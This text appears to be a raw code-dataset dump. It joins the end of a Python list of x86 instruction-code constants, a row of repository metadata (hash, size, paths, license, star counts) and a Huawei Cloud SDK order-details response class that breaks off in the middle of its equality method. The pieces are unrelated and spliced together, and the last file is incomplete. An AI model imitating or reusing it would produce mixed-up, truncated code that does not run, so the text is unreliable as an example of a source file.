XOP_LWPVAL_R32_RM32_IMM32: int = 4175
XOP_LWPVAL_R64_RM32_IMM32: int = 4176
D3NOW_PI2FW_MM_MMM64: int = 4177
D3NOW_PI2FD_MM_MMM64: int = 4178
D3NOW_PF2IW_MM_MMM64: int = 4179
D3NOW_PF2ID_MM_MMM64: int = 4180
D3NOW_PFRCPV_MM_MMM64: int = 4181
D3NOW_PFRSQRTV_MM_MMM64: int = 4182
D3NOW_PFNACC_MM_MMM64: int = 4183
D3NOW_PFPNACC_MM_MMM64: int = 4184
D3NOW_PFCMPGE_MM_MMM64: int = 4185
D3NOW_PFMIN_MM_MMM64: int = 4186
D3NOW_PFRCP_MM_MMM64: int = 4187
D3NOW_PFRSQRT_MM_MMM64: int = 4188
D3NOW_PFSUB_MM_MMM64: int = 4189
D3NOW_PFADD_MM_MMM64: int = 4190
D3NOW_PFCMPGT_MM_MMM64: int = 4191
D3NOW_PFMAX_MM_MMM64: int = 4192
D3NOW_PFRCPIT1_MM_MMM64: int = 4193
D3NOW_PFRSQIT1_MM_MMM64: int = 4194
D3NOW_PFSUBR_MM_MMM64: int = 4195
D3NOW_PFACC_MM_MMM64: int = 4196
D3NOW_PFCMPEQ_MM_MMM64: int = 4197
D3NOW_PFMUL_MM_MMM64: int = 4198
D3NOW_PFRCPIT2_MM_MMM64: int = 4199
D3NOW_PMULHRW_MM_MMM64: int = 4200
D3NOW_PSWAPD_MM_MMM64: int = 4201
D3NOW_PAVGUSB_MM_MMM64: int = 4202
RMPADJUST: int = 4203
RMPUPDATE: int = 4204
PSMASH: int = 4205
PVALIDATEW: int = 4206
PVALIDATED: int = 4207
PVALIDATEQ: int = 4208
SERIALIZE: int = 4209
XSUSLDTRK: int = 4210
XRESLDTRK: int = 4211
INVLPGBW: int = 4212
INVLPGBD: int = 4213
INVLPGBQ: int = 4214
TLBSYNC: int = 4215
PREFETCHRESERVED3_M8: int = 4216
PREFETCHRESERVED4_M8: int = 4217
PREFETCHRESERVED5_M8: int = 4218
PREFETCHRESERVED6_M8: int = 4219
PREFETCHRESERVED7_M8: int = 4220
UD0: int = 4221
VMGEXIT: int = 4222
GETSECQ: int = 4223
VEX_LDTILECFG_M512: int = 4224
VEX_TILERELEASE: int = 4225
VEX_STTILECFG_M512: int = 4226
VEX_TILEZERO_TMM: int = 4227
VEX_TILELOADDT1_TMM_SIBMEM: int = 4228
VEX_TILESTORED_SIBMEM_TMM: int = 4229
VEX_TILELOADD_TMM_SIBMEM: int = 4230
VEX_TDPBF16PS_TMM_TMM_TMM: int = 4231
VEX_TDPBUUD_TMM_TMM_TMM: int = 4232
VEX_TDPBUSD_TMM_TMM_TMM: int = 4233
VEX_TDPBSUD_TMM_TMM_TMM: int = 4234
VEX_TDPBSSD_TMM_TMM_TMM: int = 4235
FNSTDW_AX: int = 4236
FNSTSG_AX: int = 4237
RDSHR_RM32: int = 4238
WRSHR_RM32: int = 4239
SMINT: int = 4240
DMINT: int = 4241
RDM: int = 4242
SVDC_M80_SREG: int = 4243
RSDC_SREG_M80: int = 4244
SVLDT_M80: int = 4245
RSLDT_M80: int = 4246
SVTS_M80: int = 4247
RSTS_M80: int = 4248
SMINT_0F7E: int = 4249
BB0_RESET: int = 4250
BB1_RESET: int = 4251
CPU_WRITE: int = 4252
CPU_READ: int = 4253
ALTINST: int = 4254
PAVEB_MM_MMM64: int = 4255
PADDSIW_MM_MMM64: int = 4256
PMAGW_MM_MMM64: int = 4257
PDISTIB_MM_M64: int = 4258
PSUBSIW_MM_MMM64: int = 4259
PMVZB_MM_M64: int = 4260
PMULHRW_MM_MMM64: int = 4261
PMVNZB_MM_M64: int = 4262
PMVLZB_MM_M64: int = 4263
PMVGEZB_MM_M64: int = 4264
PMULHRIW_MM_MMM64: int = 4265
PMACHRIW_MM_M64: int = 4266
CYRIX_D9D7: int = 4267
CYRIX_D9E2: int = 4268
FTSTP: int = 4269
CYRIX_D9E7: int = 4270
FRINT2: int = 4271
FRICHOP: int = 4272
CYRIX_DED8: int = 4273
CYRIX_DEDA: int = 4274
CYRIX_DEDC: int = 4275
CYRIX_DEDD: int = 4276
CYRIX_DEDE: int = 4277
FRINEAR: int = 4278
TDCALL: int = 4279
SEAMRET: int = 4280
SEAMOPS: int = 4281
SEAMCALL: int = 4282
AESENCWIDE128KL_M384: int = 4283
AESDECWIDE128KL_M384: int = 4284
AESENCWIDE256KL_M512: int = 4285
AESDECWIDE256KL_M512: int = 4286
LOADIWKEY_XMM_XMM: int = 4287
AESENC128KL_XMM_M384: int = 4288
AESDEC128KL_XMM_M384: int = 4289
AESENC256KL_XMM_M512: int = 4290
AESDEC256KL_XMM_M512: int = 4291
ENCODEKEY128_R32_R32: int = 4292
ENCODEKEY256_R32_R32: int = 4293
VEX_VBROADCASTSS_XMM_XMM: int = 4294
VEX_VBROADCASTSS_YMM_XMM: int = 4295
VEX_VBROADCASTSD_YMM_XMM: int = 4296
VMGEXIT_F2: int = 4297
UIRET: int = 4298
TESTUI: int = 4299
CLUI: int = 4300
STUI: int = 4301
SENDUIPI_R64: int = 4302
HRESET_IMM8: int = 4303
VEX_VPDPBUSD_XMM_XMM_XMMM128: int = 4304
VEX_VPDPBUSD_YMM_YMM_YMMM256: int = 4305
VEX_VPDPBUSDS_XMM_XMM_XMMM128: int = 4306
VEX_VPDPBUSDS_YMM_YMM_YMMM256: int = 4307
VEX_VPDPWSSD_XMM_XMM_XMMM128: int = 4308
VEX_VPDPWSSD_YMM_YMM_YMMM256: int = 4309
VEX_VPDPWSSDS_XMM_XMM_XMMM128: int = 4310
VEX_VPDPWSSDS_YMM_YMM_YMMM256: int = 4311
CCS_HASH_16: int = 4312
CCS_HASH_32: int = 4313
CCS_HASH_64: int = 4314
CCS_ENCRYPT_16: int = 4315
CCS_ENCRYPT_32: int = 4316
CCS_ENCRYPT_64: int = 4317
LKGS_RM16: int = 4318
LKGS_R32M16: int = 4319
LKGS_R64M16: int = 4320
ERETU: int = 4321
ERETS: int = 4322
EVEX_VADDPH_XMM_K1Z_XMM_XMMM128B16: int = 4323
EVEX_VADDPH_YMM_K1Z_YMM_YMMM256B16: int = 4324
EVEX_VADDPH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4325
EVEX_VADDSH_XMM_K1Z_XMM_XMMM16_ER: int = 4326
EVEX_VCMPPH_KR_K1_XMM_XMMM128B16_IMM8: int = 4327
EVEX_VCMPPH_KR_K1_YMM_YMMM256B16_IMM8: int = 4328
EVEX_VCMPPH_KR_K1_ZMM_ZMMM512B16_IMM8_SAE: int = 4329
EVEX_VCMPSH_KR_K1_XMM_XMMM16_IMM8_SAE: int = 4330
EVEX_VCOMISH_XMM_XMMM16_SAE: int = 4331
EVEX_VCVTDQ2PH_XMM_K1Z_XMMM128B32: int = 4332
EVEX_VCVTDQ2PH_XMM_K1Z_YMMM256B32: int = 4333
EVEX_VCVTDQ2PH_YMM_K1Z_ZMMM512B32_ER: int = 4334
EVEX_VCVTPD2PH_XMM_K1Z_XMMM128B64: int = 4335
EVEX_VCVTPD2PH_XMM_K1Z_YMMM256B64: int = 4336
EVEX_VCVTPD2PH_XMM_K1Z_ZMMM512B64_ER: int = 4337
EVEX_VCVTPH2DQ_XMM_K1Z_XMMM64B16: int = 4338
EVEX_VCVTPH2DQ_YMM_K1Z_XMMM128B16: int = 4339
EVEX_VCVTPH2DQ_ZMM_K1Z_YMMM256B16_ER: int = 4340
EVEX_VCVTPH2PD_XMM_K1Z_XMMM32B16: int = 4341
EVEX_VCVTPH2PD_YMM_K1Z_XMMM64B16: int = 4342
EVEX_VCVTPH2PD_ZMM_K1Z_XMMM128B16_SAE: int = 4343
EVEX_VCVTPH2PSX_XMM_K1Z_XMMM64B16: int = 4344
EVEX_VCVTPH2PSX_YMM_K1Z_XMMM128B16: int = 4345
EVEX_VCVTPH2PSX_ZMM_K1Z_YMMM256B16_SAE: int = 4346
EVEX_VCVTPH2QQ_XMM_K1Z_XMMM32B16: int = 4347
EVEX_VCVTPH2QQ_YMM_K1Z_XMMM64B16: int = 4348
EVEX_VCVTPH2QQ_ZMM_K1Z_XMMM128B16_ER: int = 4349
EVEX_VCVTPH2UDQ_XMM_K1Z_XMMM64B16: int = 4350
EVEX_VCVTPH2UDQ_YMM_K1Z_XMMM128B16: int = 4351
EVEX_VCVTPH2UDQ_ZMM_K1Z_YMMM256B16_ER: int = 4352
EVEX_VCVTPH2UQQ_XMM_K1Z_XMMM32B16: int = 4353
EVEX_VCVTPH2UQQ_YMM_K1Z_XMMM64B16: int = 4354
EVEX_VCVTPH2UQQ_ZMM_K1Z_XMMM128B16_ER: int = 4355
EVEX_VCVTPH2UW_XMM_K1Z_XMMM128B16: int = 4356
EVEX_VCVTPH2UW_YMM_K1Z_YMMM256B16: int = 4357
EVEX_VCVTPH2UW_ZMM_K1Z_ZMMM512B16_ER: int = 4358
EVEX_VCVTPH2W_XMM_K1Z_XMMM128B16: int = 4359
EVEX_VCVTPH2W_YMM_K1Z_YMMM256B16: int = 4360
EVEX_VCVTPH2W_ZMM_K1Z_ZMMM512B16_ER: int = 4361
EVEX_VCVTPS2PHX_XMM_K1Z_XMMM128B32: int = 4362
EVEX_VCVTPS2PHX_XMM_K1Z_YMMM256B32: int = 4363
EVEX_VCVTPS2PHX_YMM_K1Z_ZMMM512B32_ER: int = 4364
EVEX_VCVTQQ2PH_XMM_K1Z_XMMM128B64: int = 4365
EVEX_VCVTQQ2PH_XMM_K1Z_YMMM256B64: int = 4366
EVEX_VCVTQQ2PH_XMM_K1Z_ZMMM512B64_ER: int = 4367
EVEX_VCVTSD2SH_XMM_K1Z_XMM_XMMM64_ER: int = 4368
EVEX_VCVTSH2SD_XMM_K1Z_XMM_XMMM16_SAE: int = 4369
EVEX_VCVTSH2SI_R32_XMMM16_ER: int = 4370
EVEX_VCVTSH2SI_R64_XMMM16_ER: int = 4371
EVEX_VCVTSH2SS_XMM_K1Z_XMM_XMMM16_SAE: int = 4372
EVEX_VCVTSH2USI_R32_XMMM16_ER: int = 4373
EVEX_VCVTSH2USI_R64_XMMM16_ER: int = 4374
EVEX_VCVTSI2SH_XMM_XMM_RM32_ER: int = 4375
EVEX_VCVTSI2SH_XMM_XMM_RM64_ER: int = 4376
EVEX_VCVTSS2SH_XMM_K1Z_XMM_XMMM32_ER: int = 4377
EVEX_VCVTTPH2DQ_XMM_K1Z_XMMM64B16: int = 4378
EVEX_VCVTTPH2DQ_YMM_K1Z_XMMM128B16: int = 4379
EVEX_VCVTTPH2DQ_ZMM_K1Z_YMMM256B16_SAE: int = 4380
EVEX_VCVTTPH2QQ_XMM_K1Z_XMMM32B16: int = 4381
EVEX_VCVTTPH2QQ_YMM_K1Z_XMMM64B16: int = 4382
EVEX_VCVTTPH2QQ_ZMM_K1Z_XMMM128B16_SAE: int = 4383
EVEX_VCVTTPH2UDQ_XMM_K1Z_XMMM64B16: int = 4384
EVEX_VCVTTPH2UDQ_YMM_K1Z_XMMM128B16: int = 4385
EVEX_VCVTTPH2UDQ_ZMM_K1Z_YMMM256B16_SAE: int = 4386
EVEX_VCVTTPH2UQQ_XMM_K1Z_XMMM32B16: int = 4387
EVEX_VCVTTPH2UQQ_YMM_K1Z_XMMM64B16: int = 4388
EVEX_VCVTTPH2UQQ_ZMM_K1Z_XMMM128B16_SAE: int = 4389
EVEX_VCVTTPH2UW_XMM_K1Z_XMMM128B16: int = 4390
EVEX_VCVTTPH2UW_YMM_K1Z_YMMM256B16: int = 4391
EVEX_VCVTTPH2UW_ZMM_K1Z_ZMMM512B16_SAE: int = 4392
EVEX_VCVTTPH2W_XMM_K1Z_XMMM128B16: int = 4393
EVEX_VCVTTPH2W_YMM_K1Z_YMMM256B16: int = 4394
EVEX_VCVTTPH2W_ZMM_K1Z_ZMMM512B16_SAE: int = 4395
EVEX_VCVTTSH2SI_R32_XMMM16_SAE: int = 4396
EVEX_VCVTTSH2SI_R64_XMMM16_SAE: int = 4397
EVEX_VCVTTSH2USI_R32_XMMM16_SAE: int = 4398
EVEX_VCVTTSH2USI_R64_XMMM16_SAE: int = 4399
EVEX_VCVTUDQ2PH_XMM_K1Z_XMMM128B32: int = 4400
EVEX_VCVTUDQ2PH_XMM_K1Z_YMMM256B32: int = 4401
EVEX_VCVTUDQ2PH_YMM_K1Z_ZMMM512B32_ER: int = 4402
EVEX_VCVTUQQ2PH_XMM_K1Z_XMMM128B64: int = 4403
EVEX_VCVTUQQ2PH_XMM_K1Z_YMMM256B64: int = 4404
EVEX_VCVTUQQ2PH_XMM_K1Z_ZMMM512B64_ER: int = 4405
EVEX_VCVTUSI2SH_XMM_XMM_RM32_ER: int = 4406
EVEX_VCVTUSI2SH_XMM_XMM_RM64_ER: int = 4407
EVEX_VCVTUW2PH_XMM_K1Z_XMMM128B16: int = 4408
EVEX_VCVTUW2PH_YMM_K1Z_YMMM256B16: int = 4409
EVEX_VCVTUW2PH_ZMM_K1Z_ZMMM512B16_ER: int = 4410
EVEX_VCVTW2PH_XMM_K1Z_XMMM128B16: int = 4411
EVEX_VCVTW2PH_YMM_K1Z_YMMM256B16: int = 4412
EVEX_VCVTW2PH_ZMM_K1Z_ZMMM512B16_ER: int = 4413
EVEX_VDIVPH_XMM_K1Z_XMM_XMMM128B16: int = 4414
EVEX_VDIVPH_YMM_K1Z_YMM_YMMM256B16: int = 4415
EVEX_VDIVPH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4416
EVEX_VDIVSH_XMM_K1Z_XMM_XMMM16_ER: int = 4417
EVEX_VFCMADDCPH_XMM_K1Z_XMM_XMMM128B32: int = 4418
EVEX_VFCMADDCPH_YMM_K1Z_YMM_YMMM256B32: int = 4419
EVEX_VFCMADDCPH_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 4420
EVEX_VFMADDCPH_XMM_K1Z_XMM_XMMM128B32: int = 4421
EVEX_VFMADDCPH_YMM_K1Z_YMM_YMMM256B32: int = 4422
EVEX_VFMADDCPH_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 4423
EVEX_VFCMADDCSH_XMM_K1Z_XMM_XMMM32_ER: int = 4424
EVEX_VFMADDCSH_XMM_K1Z_XMM_XMMM32_ER: int = 4425
EVEX_VFCMULCPH_XMM_K1Z_XMM_XMMM128B32: int = 4426
EVEX_VFCMULCPH_YMM_K1Z_YMM_YMMM256B32: int = 4427
EVEX_VFCMULCPH_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 4428
EVEX_VFMULCPH_XMM_K1Z_XMM_XMMM128B32: int = 4429
EVEX_VFMULCPH_YMM_K1Z_YMM_YMMM256B32: int = 4430
EVEX_VFMULCPH_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 4431
EVEX_VFCMULCSH_XMM_K1Z_XMM_XMMM32_ER: int = 4432
EVEX_VFMULCSH_XMM_K1Z_XMM_XMMM32_ER: int = 4433
EVEX_VFMADDSUB132PH_XMM_K1Z_XMM_XMMM128B16: int = 4434
EVEX_VFMADDSUB132PH_YMM_K1Z_YMM_YMMM256B16: int = 4435
EVEX_VFMADDSUB132PH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4436
EVEX_VFMADDSUB213PH_XMM_K1Z_XMM_XMMM128B16: int = 4437
EVEX_VFMADDSUB213PH_YMM_K1Z_YMM_YMMM256B16: int = 4438
EVEX_VFMADDSUB213PH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4439
EVEX_VFMADDSUB231PH_XMM_K1Z_XMM_XMMM128B16: int = 4440
EVEX_VFMADDSUB231PH_YMM_K1Z_YMM_YMMM256B16: int = 4441
EVEX_VFMADDSUB231PH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4442
EVEX_VFMSUBADD132PH_XMM_K1Z_XMM_XMMM128B16: int = 4443
EVEX_VFMSUBADD132PH_YMM_K1Z_YMM_YMMM256B16: int = 4444
EVEX_VFMSUBADD132PH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4445
EVEX_VFMSUBADD213PH_XMM_K1Z_XMM_XMMM128B16: int = 4446
EVEX_VFMSUBADD213PH_YMM_K1Z_YMM_YMMM256B16: int = 4447
EVEX_VFMSUBADD213PH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4448
EVEX_VFMSUBADD231PH_XMM_K1Z_XMM_XMMM128B16: int = 4449
EVEX_VFMSUBADD231PH_YMM_K1Z_YMM_YMMM256B16: int = 4450
EVEX_VFMSUBADD231PH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4451
EVEX_VFMADD132PH_XMM_K1Z_XMM_XMMM128B16: int = 4452
EVEX_VFMADD132PH_YMM_K1Z_YMM_YMMM256B16: int = 4453
EVEX_VFMADD132PH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4454
EVEX_VFMADD213PH_XMM_K1Z_XMM_XMMM128B16: int = 4455
EVEX_VFMADD213PH_YMM_K1Z_YMM_YMMM256B16: int = 4456
EVEX_VFMADD213PH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4457
EVEX_VFMADD231PH_XMM_K1Z_XMM_XMMM128B16: int = 4458
EVEX_VFMADD231PH_YMM_K1Z_YMM_YMMM256B16: int = 4459
EVEX_VFMADD231PH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4460
EVEX_VFNMADD132PH_XMM_K1Z_XMM_XMMM128B16: int = 4461
EVEX_VFNMADD132PH_YMM_K1Z_YMM_YMMM256B16: int = 4462
EVEX_VFNMADD132PH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4463
EVEX_VFNMADD213PH_XMM_K1Z_XMM_XMMM128B16: int = 4464
EVEX_VFNMADD213PH_YMM_K1Z_YMM_YMMM256B16: int = 4465
EVEX_VFNMADD213PH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4466
EVEX_VFNMADD231PH_XMM_K1Z_XMM_XMMM128B16: int = 4467
EVEX_VFNMADD231PH_YMM_K1Z_YMM_YMMM256B16: int = 4468
EVEX_VFNMADD231PH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4469
EVEX_VFMADD132SH_XMM_K1Z_XMM_XMMM16_ER: int = 4470
EVEX_VFMADD213SH_XMM_K1Z_XMM_XMMM16_ER: int = 4471
EVEX_VFMADD231SH_XMM_K1Z_XMM_XMMM16_ER: int = 4472
EVEX_VFNMADD132SH_XMM_K1Z_XMM_XMMM16_ER: int = 4473
EVEX_VFNMADD213SH_XMM_K1Z_XMM_XMMM16_ER: int = 4474
EVEX_VFNMADD231SH_XMM_K1Z_XMM_XMMM16_ER: int = 4475
EVEX_VFMSUB132PH_XMM_K1Z_XMM_XMMM128B16: int = 4476
EVEX_VFMSUB132PH_YMM_K1Z_YMM_YMMM256B16: int = 4477
EVEX_VFMSUB132PH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4478
EVEX_VFMSUB213PH_XMM_K1Z_XMM_XMMM128B16: int = 4479
EVEX_VFMSUB213PH_YMM_K1Z_YMM_YMMM256B16: int = 4480
EVEX_VFMSUB213PH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4481
EVEX_VFMSUB231PH_XMM_K1Z_XMM_XMMM128B16: int = 4482
EVEX_VFMSUB231PH_YMM_K1Z_YMM_YMMM256B16: int = 4483
EVEX_VFMSUB231PH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4484
EVEX_VFNMSUB132PH_XMM_K1Z_XMM_XMMM128B16: int = 4485
EVEX_VFNMSUB132PH_YMM_K1Z_YMM_YMMM256B16: int = 4486
EVEX_VFNMSUB132PH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4487
EVEX_VFNMSUB213PH_XMM_K1Z_XMM_XMMM128B16: int = 4488
EVEX_VFNMSUB213PH_YMM_K1Z_YMM_YMMM256B16: int = 4489
EVEX_VFNMSUB213PH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4490
EVEX_VFNMSUB231PH_XMM_K1Z_XMM_XMMM128B16: int = 4491
EVEX_VFNMSUB231PH_YMM_K1Z_YMM_YMMM256B16: int = 4492
EVEX_VFNMSUB231PH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4493
EVEX_VFMSUB132SH_XMM_K1Z_XMM_XMMM16_ER: int = 4494
EVEX_VFMSUB213SH_XMM_K1Z_XMM_XMMM16_ER: int = 4495
EVEX_VFMSUB231SH_XMM_K1Z_XMM_XMMM16_ER: int = 4496
EVEX_VFNMSUB132SH_XMM_K1Z_XMM_XMMM16_ER: int = 4497
EVEX_VFNMSUB213SH_XMM_K1Z_XMM_XMMM16_ER: int = 4498
EVEX_VFNMSUB231SH_XMM_K1Z_XMM_XMMM16_ER: int = 4499
EVEX_VFPCLASSPH_KR_K1_XMMM128B16_IMM8: int = 4500
EVEX_VFPCLASSPH_KR_K1_YMMM256B16_IMM8: int = 4501
EVEX_VFPCLASSPH_KR_K1_ZMMM512B16_IMM8: int = 4502
EVEX_VFPCLASSSH_KR_K1_XMMM16_IMM8: int = 4503
EVEX_VGETEXPPH_XMM_K1Z_XMMM128B16: int = 4504
EVEX_VGETEXPPH_YMM_K1Z_YMMM256B16: int = 4505
EVEX_VGETEXPPH_ZMM_K1Z_ZMMM512B16_SAE: int = 4506
EVEX_VGETEXPSH_XMM_K1Z_XMM_XMMM16_SAE: int = 4507
EVEX_VGETMANTPH_XMM_K1Z_XMMM128B16_IMM8: int = 4508
EVEX_VGETMANTPH_YMM_K1Z_YMMM256B16_IMM8: int = 4509
EVEX_VGETMANTPH_ZMM_K1Z_ZMMM512B16_IMM8_SAE: int = 4510
EVEX_VGETMANTSH_XMM_K1Z_XMM_XMMM16_IMM8_SAE: int = 4511
EVEX_VMAXPH_XMM_K1Z_XMM_XMMM128B16: int = 4512
EVEX_VMAXPH_YMM_K1Z_YMM_YMMM256B16: int = 4513
EVEX_VMAXPH_ZMM_K1Z_ZMM_ZMMM512B16_SAE: int = 4514
EVEX_VMAXSH_XMM_K1Z_XMM_XMMM16_SAE: int = 4515
EVEX_VMINPH_XMM_K1Z_XMM_XMMM128B16: int = 4516
EVEX_VMINPH_YMM_K1Z_YMM_YMMM256B16: int = 4517
EVEX_VMINPH_ZMM_K1Z_ZMM_ZMMM512B16_SAE: int = 4518
EVEX_VMINSH_XMM_K1Z_XMM_XMMM16_SAE: int = 4519
EVEX_VMOVSH_XMM_K1Z_M16: int = 4520
EVEX_VMOVSH_M16_K1_XMM: int = 4521
EVEX_VMOVSH_XMM_K1Z_XMM_XMM: int = 4522
EVEX_VMOVSH_XMM_K1Z_XMM_XMM_MAP5_11: int = 4523
EVEX_VMOVW_XMM_R32M16: int = 4524
EVEX_VMOVW_XMM_R64M16: int = 4525
EVEX_VMOVW_R32M16_XMM: int = 4526
EVEX_VMOVW_R64M16_XMM: int = 4527
EVEX_VMULPH_XMM_K1Z_XMM_XMMM128B16: int = 4528
EVEX_VMULPH_YMM_K1Z_YMM_YMMM256B16: int = 4529
EVEX_VMULPH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4530
EVEX_VMULSH_XMM_K1Z_XMM_XMMM16_ER: int = 4531
EVEX_VRCPPH_XMM_K1Z_XMMM128B16: int = 4532
EVEX_VRCPPH_YMM_K1Z_YMMM256B16: int = 4533
EVEX_VRCPPH_ZMM_K1Z_ZMMM512B16: int = 4534
EVEX_VRCPSH_XMM_K1Z_XMM_XMMM16: int = 4535
EVEX_VREDUCEPH_XMM_K1Z_XMMM128B16_IMM8: int = 4536
EVEX_VREDUCEPH_YMM_K1Z_YMMM256B16_IMM8: int = 4537
EVEX_VREDUCEPH_ZMM_K1Z_ZMMM512B16_IMM8_SAE: int = 4538
EVEX_VREDUCESH_XMM_K1Z_XMM_XMMM16_IMM8_SAE: int = 4539
EVEX_VRNDSCALEPH_XMM_K1Z_XMMM128B16_IMM8: int = 4540
EVEX_VRNDSCALEPH_YMM_K1Z_YMMM256B16_IMM8: int = 4541
EVEX_VRNDSCALEPH_ZMM_K1Z_ZMMM512B16_IMM8_SAE: int = 4542
EVEX_VRNDSCALESH_XMM_K1Z_XMM_XMMM16_IMM8_SAE: int = 4543
EVEX_VRSQRTPH_XMM_K1Z_XMMM128B16: int = 4544
EVEX_VRSQRTPH_YMM_K1Z_YMMM256B16: int = 4545
EVEX_VRSQRTPH_ZMM_K1Z_ZMMM512B16: int = 4546
EVEX_VRSQRTSH_XMM_K1Z_XMM_XMMM16: int = 4547
EVEX_VSCALEFPH_XMM_K1Z_XMM_XMMM128B16: int = 4548
EVEX_VSCALEFPH_YMM_K1Z_YMM_YMMM256B16: int = 4549
EVEX_VSCALEFPH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4550
EVEX_VSCALEFSH_XMM_K1Z_XMM_XMMM16_ER: int = 4551
EVEX_VSQRTPH_XMM_K1Z_XMMM128B16: int = 4552
EVEX_VSQRTPH_YMM_K1Z_YMMM256B16: int = 4553
EVEX_VSQRTPH_ZMM_K1Z_ZMMM512B16_ER: int = 4554
EVEX_VSQRTSH_XMM_K1Z_XMM_XMMM16_ER: int = 4555
EVEX_VSUBPH_XMM_K1Z_XMM_XMMM128B16: int = 4556
EVEX_VSUBPH_YMM_K1Z_YMM_YMMM256B16: int = 4557
EVEX_VSUBPH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4558
EVEX_VSUBSH_XMM_K1Z_XMM_XMMM16_ER: int = 4559
EVEX_VUCOMISH_XMM_XMMM16_SAE: int = 4560
RDUDBG: int = 4561
WRUDBG: int = 4562
| true | true |
f725f62d736217414f7205feb40dc8ce94818614 | 4,955 | py | Python | huaweicloud-sdk-bssintl/huaweicloudsdkbssintl/v2/model/show_customer_order_details_response.py | githubmilesma/huaweicloud-sdk-python-v3 | 9d9449ed68a609ca65f0aa50b5b2a1c28445bf03 | [
"Apache-2.0"
] | 1 | 2021-04-16T07:59:28.000Z | 2021-04-16T07:59:28.000Z | huaweicloud-sdk-bssintl/huaweicloudsdkbssintl/v2/model/show_customer_order_details_response.py | Lencof/huaweicloud-sdk-python-v3 | d13dc4e2830a83e295be6e4de021999b3376e34e | [
"Apache-2.0"
] | null | null | null | huaweicloud-sdk-bssintl/huaweicloudsdkbssintl/v2/model/show_customer_order_details_response.py | Lencof/huaweicloud-sdk-python-v3 | d13dc4e2830a83e295be6e4de021999b3376e34e | [
"Apache-2.0"
] | 1 | 2022-01-17T02:24:18.000Z | 2022-01-17T02:24:18.000Z | # coding: utf-8
import pprint
import re
import six
from huaweicloudsdkcore.sdk_response import SdkResponse
class ShowCustomerOrderDetailsResponse(SdkResponse):
"""
Attributes:
openapi_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
sensitive_list = []
openapi_types = {
'total_count': 'int',
'order_info': 'CustomerOrderV2',
'order_line_items': 'list[OrderLineItemEntityV2]'
}
attribute_map = {
'total_count': 'total_count',
'order_info': 'order_info',
'order_line_items': 'order_line_items'
}
def __init__(self, total_count=None, order_info=None, order_line_items=None):
"""ShowCustomerOrderDetailsResponse - a model defined in huaweicloud sdk"""
super().__init__()
self._total_count = None
self._order_info = None
self._order_line_items = None
self.discriminator = None
if total_count is not None:
self.total_count = total_count
if order_info is not None:
self.order_info = order_info
if order_line_items is not None:
self.order_line_items = order_line_items
@property
def total_count(self):
"""Gets the total_count of this ShowCustomerOrderDetailsResponse.
|参数名称:符合条件的记录总数。| |参数的约束及描述:符合条件的记录总数。|
:return: The total_count of this ShowCustomerOrderDetailsResponse.
:rtype: int
"""
return self._total_count
@total_count.setter
def total_count(self, total_count):
"""Sets the total_count of this ShowCustomerOrderDetailsResponse.
|参数名称:符合条件的记录总数。| |参数的约束及描述:符合条件的记录总数。|
:param total_count: The total_count of this ShowCustomerOrderDetailsResponse.
:type: int
"""
self._total_count = total_count
@property
def order_info(self):
"""Gets the order_info of this ShowCustomerOrderDetailsResponse.
:return: The order_info of this ShowCustomerOrderDetailsResponse.
:rtype: CustomerOrderV2
"""
return self._order_info
@order_info.setter
def order_info(self, order_info):
"""Sets the order_info of this ShowCustomerOrderDetailsResponse.
:param order_info: The order_info of this ShowCustomerOrderDetailsResponse.
:type: CustomerOrderV2
"""
self._order_info = order_info
@property
def order_line_items(self):
"""Gets the order_line_items of this ShowCustomerOrderDetailsResponse.
|参数名称:订单对应的订单项。具体请参见表 OrderLineItemEntity。| |参数约束及描述: 订单对应的订单项。具体请参见表 OrderLineItemEntity。|
:return: The order_line_items of this ShowCustomerOrderDetailsResponse.
:rtype: list[OrderLineItemEntityV2]
"""
return self._order_line_items
@order_line_items.setter
def order_line_items(self, order_line_items):
"""Sets the order_line_items of this ShowCustomerOrderDetailsResponse.
|参数名称:订单对应的订单项。具体请参见表 OrderLineItemEntity。| |参数约束及描述: 订单对应的订单项。具体请参见表 OrderLineItemEntity。|
:param order_line_items: The order_line_items of this ShowCustomerOrderDetailsResponse.
:type: list[OrderLineItemEntityV2]
"""
self._order_line_items = order_line_items
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.openapi_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
if attr in self.sensitive_list:
result[attr] = "****"
else:
result[attr] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
